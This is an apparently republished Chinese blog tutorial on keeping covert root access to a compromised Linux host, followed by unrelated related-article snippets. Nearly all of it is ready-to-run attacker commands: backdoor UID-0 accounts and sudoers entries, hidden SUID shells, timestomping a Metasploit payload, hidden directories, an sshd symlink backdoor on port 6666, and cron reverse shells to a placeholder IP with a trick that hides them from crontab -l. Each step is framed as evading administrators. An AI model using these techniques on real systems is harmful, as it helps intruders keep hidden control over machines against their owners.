权限维持——Linux

news2024/11/15 23:59:36

前提

已经提权到管理员权限

一、创建账户

1、创建一个自定义密码的账户

        已知,Linux中所有的用户的信息 存储在/etc/passwd这个文件中 。可以利用管理员权限修改这个文件, 添加一个账户 。

利用linux中的密码的编码算法 生成对应密码 (不知道的百度搜索一下)

加密密码:

password@123-->advwtv/9yU5yQ

使用命令生成账户或直接复制到passwd文件中:

echo "test:advwtv/9yU5yQ:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd 

测试:

登录成功

 2、直接创建管理员账户

#创建账户

useradd -o -u 0 -g 0 sun_happy

#设置密码
passwd

password@123

3、配置sudoers文件

修改 /etc/sudoers配置文件 在此文件配置用户

Sun_happy ALL=(ALL) NOPASSWD:ALL

在之前的文章中已经介绍过了,就不过多的描述了。

执行命令时 ,命令之前加上 sudo就可以以管理员的身份运行 。

4、普通用户+SUID权限

(1)给以下命令加上 s权限:

chmod u+s /bin/bash            $ bash -p
chmod u+s /bin/sh            $ sh -p
chmod u+s /bin/env            $ env /bin/sh -p
chmod u+s /bin/vi            $ vi /etc/shadow
chmod u+s /bin/awk            $ awk '{print $0}' /etc/shadow
chmod u+s /bin/cat            $ cat /etc/shadow
chmod u+s /usr/bin/curl        $ curl file:///etc/shadow
chmod u+s /bin/find            $ find /etc/passwd -exec cat /etc/shadow \;
                              find /etc/passwd -exec bash -p \;

        缺点是:容易被发现。 

(2)创建一个普通用户+SUID:

#首先创建一个普通用户

useradd lisi

passwd lisi

lisi1234 

#利用root账户复制bash

cp /bin/bash /tmp/.shell        # 名为.开头的隐藏文件

ll -a /tmp        #显示隐藏文件

chmod 4755 /tmp/.shell        # 给.shell赋予可执行的权限与SUID权,就相当于赋予bash

#利用普通账户执行 bash (.shell)

/tmp/.shell

#测试:

        优点:该方法不容易被管理员发现发现 

二、文件属性修改

1、修改文件时间

        管理员可以通过查看最近被修改文件来找到有可能是黑客操作的文件 。为了权限维持,就采用修改文件时间的方法。

find按时间查找文件:

find / -atime -5 | grep msf  #查找最近5天修改的  带有msf 的文件

-atime [+|-]#     访问时间  access
-mtime [+|-]#     更新时间  modify
-ctime [+|-]#     创建时间  create
# 解读:
-#  表示[0,#)       
#  表示[#,#+1)     
+#  表示[#+1,∞]     

# 实例:比如 #=3的含义如下
-3 表示 3个24h之内      (系统称之为三天内)
3 表示 第4个24h期间内   (系统称之为是第三天)
+3 表示 超过4个24h      (系统称之为是超过三天)

实验:

#新创建一个伪木马文件:msf_5555.elf

内容随便填写

测试:

成功搜索到。
 

#修改文件访问时间
先找到一个主机存在的很久的文件

然后将我们新访问过的木马的访问时间修改:

#touch -r 旧文件 新文件
touch -r  /root/anaconda-ks.cfg  ./msf_linux.elf

#修改b.txt文件的访问时间与修改时间为2022年8月12日8点00分00秒
touch -t 202208120800.00 msf_linux.elf   

测试:

查看修改过的文件访问时间:

stat 文件名

2、创建隐藏文件

        在Linux中每一个目录中,都保存有两个固定目录 。

验证:

#通过ll -a 查看

因此无法创建名为..与.的目录:

        由于熟悉Linux的人基本上都知道这个知识点,因此我们需要创建名为...  ....的文件夹,成功隐藏,可以多创建几级:mkdir /home/.../...

#把木马移动到该隐藏文件夹...下:

#设置木马的可执行权限  : chmod  u+x  xxxxx,设置成功后就可以尝试用kali连接了,这里就不赘述了

 3、文件上锁

        该方式利用了工作人员的潜意识来进行维权:就是当删除一个文件时,系统不允许,那么潜意识就会认为这是系统文件。

        Linux 系统中的文件和目录,除了可以设定普通权限和特殊权限外,还可以利用文件和目录具有的一些隐藏属性。而chattr 命令,专门用来修改文件或目录的隐藏属性,只有 root 用户可以使用。

实验:

#chattr [+] [属性] 文件或目录名

touch aaa.txt        #创建测试文件

chattr +i aaa.txt        #设置属性

测试结果:

三、SSH后门

1、软连接后门

        在当前系统中开一个端口 ,这个端口通过SSH服务创建的 ,可以用来登录使用 。

实验:

#查看ssh的22端口使用情况

netstat -antp | grep 22

如果我们留后门还流留22,就很容易被发现。

#开端口软连接

ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=6666

#使用windows连接

连接成功

#测试能否通过22端口查看到

查看不到

2、隐身登录

        注意:这里说的隐身登录 ,是登录不能不被`who、w、last`等命令查看到,但是可以被 `netstat -antp`  查看到 。因此该方法比较鸡肋,了解一下即可。

实验:

#先创建一个普通用户:sunhappy

#然后输入以下命令:


ssh -T sunhappy@xxx.xxx.xxx.xxx /bin/bash -i
ssh -o UserKnownHostsFile=/dev/null -T sunhappy@xxx.xxx.xxx.xxx /bin/bash -if

3、利用公钥和私钥登录

之前我的文章里有写,链接如下:

Linux提权

四、定时任务(crontab)

        定时任务,在Linux系统中创建的一些定时自动的任务 。

创建shell反弹定时任务:

#查看定时任务

crontab -e

#添加定时任务
*/1 * * * * /bin/bash -c '/bin/sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/4444 0>&1'

#有关于定时任务的介绍在Linux文章中已经介绍过了,这里简单介绍,就是该任务每分钟执行一次

创建一个定时运行木马的任务:

 35 * * * * /usr/share/icons/gnome/scalable/devices/msf_linux_reverse_tcp_64.elf

隐藏定时任务:

 #上面的两种定时任务容易被发现,需要进行隐藏

(printf "*/1 * * * * /bin/bash -c '/bin/sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/4444 0>&1';\rno crontab for `whoami`%100c\n")|crontab -

#在linux终端中执行 创建隐藏的定时任务,利用crontab -l 查询不到

#但是我们可以在定时任务存储文件中 查询

cat -A /var/spool/cron/root

五、自启动文件

        在linux系统中,有一些文件是开机或者 登录时 自动被加载 ,这些文件就有可能被黑客利用。

/etc/rc.d/rc.local:系统在启动时进行加载执行,/etc/rc.local是本文件的软链接文件。
/etc/profile: 此文件为系统的每个用户设置环境信息,当用户第一次登录时,该文件被执行。
/etc/bashrc:  为每一个运行bash shell的用户执行此文件.当bash shell被打开时,该文件被读取。
~/.bash_profile: 每个用户都可使用该文件输入专用于自己使用的shell信息,当用户登录时,该文件仅仅执行一次。
~/.bashrc: 该文件包含专用于你用户的bash shell的bash信息,当登录时以及每次打开新的shell时,该该文件被读取。
~/.bash_logout: 当每次退出系统(退出bash shell)时,执行该文件。


值得注意的是后三个都是隐藏文件。

实验:

#打开/etc/profile

 

#在该文件种写入想要的程序,登录时会自动执行

比如加入:chmod u+s /usr/bin/bash

重启Linux登陆后则执行该语句。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2165526.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

2024年”3D Awards”优秀作品提名新鲜出炉

第九届渲染大赛落下帷幕, 有些小伙伴可能还没过瘾, 这不, 一年一度”3D Awards“优秀作品提名, 新鲜出炉! 效果图提名(排名不分先后) 作品设计:Korolyov Ilya,Studio N…

【笔记】1.3 塑性变形

一、塑性变形的方式 DDWs(Dislocation-Dipole Walls,位错偶极墙):指由两个位错构成的结构,它们以一种特定的方式排列在一起,形成一个稳定的结构单元。 DTs(Dislocation Tangles,位错…

市面第一款 C++ 版本的U盘装机软件(即将上线)

市面大部分U盘装机软件,都是采用Au3脚本开发,而且有各种捆绑,闲来无聊,采用Qt C制作一款CU盘装机软件,从此告别Au3脚本,各种炫酷界面随便换,敬请期待 另外两个界面暂时不公布,防止Au…

CKKS同态加密通用函数近似方法和openFHE实现

摘要 同态加密可以直接在密文上进行运算,尤其是CKKS,可以直接在实数的密文上进行运算。服务器可以利用强大的计算能力,在不泄露用户隐私的情况下,为用户提供便捷的外包运算服务。然而,CKKS只能进行算术运算&#xff0…

【第2章 开始学习C++】进入C++

文章目录 导语C语言输入和输出main( )函数作为接口的函数头C预处理器和iostream文件头文件名名称空间使用 cout 进行 C 输出控制符 endl 导语 首先介绍一个显示消息的简单C程序。 源代码中包含一些供读者阅读的注释, 这些注释都以 // 打头, 编译器将忽…

patroni高可用测试

pkill postgres 主库日志 2024-09-25 16:42:30,579 INFO: no action. I am (postgres-1a86e6d5-0-0), the leader with the lock 2024-09-25 16:42:40,577 INFO: no action. I am (postgres-1a86e6d5-0-0), the leader with the lock 2024-09-25 16:42:50,578 INFO: no action…

Linux基础之文件系统

一、磁盘结构的认识 首先我们能认识到的一点是:不是所有的文件都被打开的! 大部分文件都不是被打开的(当前并不需要被访问),都在磁盘中进行保存。那么没有被(进程)打开的文件,要不要…

Python 中什么是 Mock 对象?如何在测试中使用

Python 中什么是 Mock 对象?如何在测试中使用 在软件开发中,测试是确保代码质量的重要环节。尤其是在编写单元测试时,测试的准确性和可靠性至关重要。为了确保测试的有效性,开发者通常会使用 Mock 对象。本文将详细介绍 Mock 对象…

深度学习基础案例7--马铃薯病识别,对VGG16进行轻量级优化,计算量减少了99%,但是准确率下降4%

🍨 本文为🔗365天深度学习训练营 中的学习记录博客🍖 原作者:K同学啊 前言 本来想继续优化的,但是我看论文和查阅一些资料,涉及到了知识蒸馏、量化的知识,这些知识我需要花一点时间去研究一下&…

4. 数据结构: 对象和数组

数字、布尔值和字符串是构建数据结构的原子。不过,许多类型的信息需要不止一个原子。对象允许我们对值(包括其他对象)进行分组,从而构建更复杂的结构。到目前为止,我们所构建的程序都受到限制,因为它们只能…

MyBatis 入门教程-搭建入门工程

Maven作为一个优秀的项目构建和管理工具,在日常的开发中被大多数开发者使用,后续的项目也是基于Maven来构建。 创建一个Maven项目 利用IDEA创建项目工具来创建一个Maven项目 添加MyBatis的依赖 这里可以从Maven仓库地址中进行查看, https://mvnrepository.com/ 从这里可…

SUB1G无线通信模块赋能对讲机无线联网

一、模组介绍: ANS TKM-220是一款专为LPWAN物联网应用而研制的SUB1G无线模组,使用全新的TurMassTM 技术,具有超大容量 、高速率 、广覆盖和低成本的特点,处于国际领先水平 。 二、模组特点: ◉ 采用独创的TurMass™…

Oracle 19c 使用EMCC 监控当前所有数据库

一.EMCC简介 EMCC,全称Oracle Enterprise Manager Cloud Control,是Oracle提供的一套集中化监控工具,可以对数据库、操作系统、中间件等进行监控,通过OMS(Oracle Management Service)收集监控数据并将监控信…

Golang | Leetcode Golang题解之第421题数组中两个数的最大异或值

题目: 题解: const highBit 30type trie struct {left, right *trie }func (t *trie) add(num int) {cur : tfor i : highBit; i > 0; i-- {bit : num >> i & 1if bit 0 {if cur.left nil {cur.left &trie{}}cur cur.left} else …

C# 数据校验与控件绑定

在上一篇中,写了使用特性对一个对象的值进行校验;虽然代码比较简单,但依然不是最优解,在做数据新增校验的时候,倒也没什么问题,毕竟这是WinForm;但是如果是做数据编辑,代码就会变得更…

遗忘的数学(拉格朗日乘子法、牛顿法)

目录 拉格朗日乘子法定理 证明:​编辑 应用条件与符号选择 雅可比矩阵 黑塞矩阵 牛顿法 解方程的根的牛顿法 解方程组的根的牛顿法 数值优化的牛顿法(求最值) 拉格朗日乘子法定理 证明: dSi这一段没看懂…… 应用…

“AI+Security”系列第3期(四):360安全大模型业务实践

近日,由安全极客、Wisemodel 社区、InForSec 网络安全研究国际学术论坛和海升集团联合主办的“AI Security”系列第 3 期技术沙龙:“AI 安全智能体,重塑安全团队工作范式”活动顺利举行。此次活动吸引了线上线下超过千名观众参与。 活动中&…

C++——关联式容器(5):哈希表

7.哈希表 7.1 哈希表引入 哈希表的出现依旧是为了查找方便而设计的。在顺序结构中,查询一个值需要一一比较,复杂度为O(N);在平衡树中,查询变为了二分查找,复杂度为O(logN);而对于哈希表,我们可…

BST-二叉搜索树

前言 从图的角度出发,树是一种特殊的图。图的大多数算法,树都可以适用。对树操作中,你可以发现有关图算法思想的体现。 不过, 本篇不是完全从图的角度解读树, 重点在初学者视角(一般学习数据结构顺序是从树…

码点和码元的区别--Unicode标准的【码点】和【码元】

Unicode是通用字符编码标准是计算机科学领域里的一项业界标准,包括字符集、编码方案等。 Unicode标准定义了一个统一的多语言文本字符集(即Unicode字符集)。 Unicode标准定义了三种字符编码方案:UTF-8、UTF-16、UTF-32。 因此&…